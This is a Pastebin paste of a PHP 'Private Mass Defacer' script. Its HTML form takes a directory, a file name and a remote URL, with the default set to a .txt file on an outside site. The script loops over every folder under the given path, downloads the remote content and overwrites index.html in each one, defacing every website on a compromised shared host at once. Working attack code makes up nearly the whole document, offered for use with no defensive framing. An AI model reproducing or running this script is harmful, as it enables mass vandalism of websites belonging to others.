Advertisement
1337_Brain

Private Mass Defacer by Red-X

Jul 14th, 2014
801
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.30 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  5. <title>Private Mass Defacer</title>
  6. <link rel="SHORTCUT ICON" href="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/61.gif">
  7. <!--
  8. Coded by Mr_AnarShi-T
  9.  
  10. Modified By rEd X
  11. red-x@hackermail.com
  12. -->
  13. <style type="text/css">
  14. <!--
  15. body { background-image: url(http://media.somewhereinblog.net/images/ondhokarer_rajputra_1348021005_1-background-snow.png); color:#000;}
  16. body *{ margin: 0; padding: 0; font-family:Century Gothic, Comic Sans MS;}
  17. a   { text-decoration:none; color:#336699; }
  18. a:hover { text-decoration: underline; }
  19. body, td{  margin: 0;  padding: 0;  font-size: normal;}
  20. b{ font-weight:bold; }
  21. input,textarea,select {
  22.     color:#336699;
  23.     background-color:#fff;
  24.     font-family:Century Gothic, Arial;
  25.     font-weight: bold;
  26.     border:1px solid #333;
  27.     margin:2px;
  28.     border-radius: 6px;
  29.     -webkit-border-radius: 6px;
  30.     -moz-border-radius: 6px;
  31. }
  32. input.submit,input[type=submit]
  33. {
  34. margin:2px;
  35. background-color:#6d84b4;
  36. border:1px solid #000000;
  37. font-weight:bold;
  38. color:#ffffff
  39. }
  40. .Header {
  41. background: #336699;
  42. text-align:center;
  43. padding:2px; color:
  44. #fff; font-weight:bold;
  45. }
  46. .footer{background:#DDE7F1; font-weight:bold; border-top:1px solid #abc; padding:5px; font-weight:bold; text-align:center;  }
  47. -->
  48. </style>
  49. </head>
  50. <body>
  51. <div class="Header">Mass Defacer</div><br/>
  52. <b>
  53. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=post>
  54. Folder :<br/>
  55. <input typ=text name=path size=60 value="<?=getcwd();?>"><br>
  56. File Name :<br/>
  57. <input typ=text name=file size=60 value="index.html"><br>
  58. Deface Page URL : <small>(ex: http://abc.com/red-x.txt)</small><br/>
  59. <input typ=text name=url size=60 value="http://alvaroborges.com.br/dir/red-x.txt"><br>
  60. <input type=submit value=Deface>
  61. </form>
  62. <?php
  63. $mainpath=$_POST[path];
  64. $file=$_POST[file];
  65. $indexurl=$_POST[url];
  66. echo "<br>";
  67. $dir=opendir("$mainpath");
  68. while($row=readdir($dir))
  69. {
  70. $start=@fopen("$row/$file","w+");
  71. $code=@file_get_contents($indexurl);
  72. $finish=@fwrite($start,$code);
  73. if ($finish)
  74. {
  75. echo "&#187; $row/$file  &#187; Done<br><br>";
  76. }
  77. }
  78. ?>
  79. <div class="footer">Original Coder: <font color="#FF0000">AnarSher</font> || Modified By <font color="#FF0000">rEd X aka Outrageous Demon</font></div>
  80. </body>
  81. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement